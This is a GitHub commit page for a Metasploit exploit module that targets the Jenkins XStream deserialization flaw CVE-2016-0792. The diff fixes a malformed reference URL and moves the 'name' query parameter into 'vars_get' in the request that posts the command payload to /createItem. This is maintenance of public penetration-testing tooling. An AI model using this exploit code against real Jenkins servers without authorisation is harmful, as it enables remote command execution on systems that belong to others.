Skip to content

Commit a04bc0a

Browse files
committed
Add get_vars, remove a https instance
1 parent 7173e7f commit a04bc0a

File tree

1 file changed

+8
-5
lines changed

1 file changed

+8
-5
lines changed

modules/exploits/multi/http/jenkins_xstream_deserialize.rb

Lines changed: 8 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,7 @@ def initialize(info = {})
2929
'References' =>
3030
[
3131
['CVE', '2016-0792'],
32-
['URL', 'https://https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream'],
32+
['URL', 'https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream'],
3333
['URL', 'https://wiki.jenkins.io/pages/viewpage.action?pageId=95585413']
3434
],
3535
'Platform' => %w{ win linux unix },
@@ -105,10 +105,13 @@ def execute_command(cmd, opts = {})
105105
cmd.map! { |arg| arg.encode(xml: :text) }
106106

107107
res = send_request_cgi(
108-
'method' => 'POST',
109-
'uri' => normalize_uri(target_uri.path, '/createItem?name=random'),
110-
'ctype' => 'application/xml',
111-
'data' => xstream_payload(cmd)
108+
'method' => 'POST',
109+
'uri' => normalize_uri(target_uri.path, '/createItem'),
110+
'vars_get' => {
111+
'name' => 'random'
112+
},
113+
'ctype' => 'application/xml',
114+
'data' => xstream_payload(cmd)
112115
)
113116
end
114117

0 commit comments

Comments
 (0)